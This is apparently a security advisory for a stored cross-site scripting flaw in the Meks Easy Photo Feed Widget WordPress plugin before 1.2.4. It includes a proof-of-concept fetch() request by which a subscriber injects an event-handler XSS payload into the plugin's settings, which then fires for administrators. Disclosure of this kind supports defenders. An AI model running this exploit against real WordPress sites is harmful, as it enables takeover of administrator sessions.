Lucene search

K
wpexploitKrzysztof ZajΔ…cWPEX-ID:011C2519-FD84-4C95-B8B8-23654AF59D70
HistoryNov 10, 2021 - 12:00 a.m.

Meks Easy Photo Feed Widget < 1.2.4 - Subscriber+ Settings Update to Stored XSS

2021-11-1000:00:00
Krzysztof ZajΔ…c
38

0.001 Low

EPSS

Percentile

24.8%

The plugin does not have capability and CSRF checks in the meks_save_business_selected_account AJAX action, available to any authenticated user, and does not escape some of the settings. As a result, any authenticated user, such as subscriber could update the plugin’s settings and put Cross-Site Scripting payloads in them

As a subscriber:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"meks_save_business_selected_account","access_token": '" style=animation-name:rotation onanimationstart=alert(/XSS/) xyz='}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));


Then the XSS will be triggered when an admin access the plugin’s settings (https://example.com/wp-admin/options-general.php?page=meks-instagram)

0.001 Low

EPSS

Percentile

24.8%

Related for WPEX-ID:011C2519-FD84-4C95-B8B8-23654AF59D70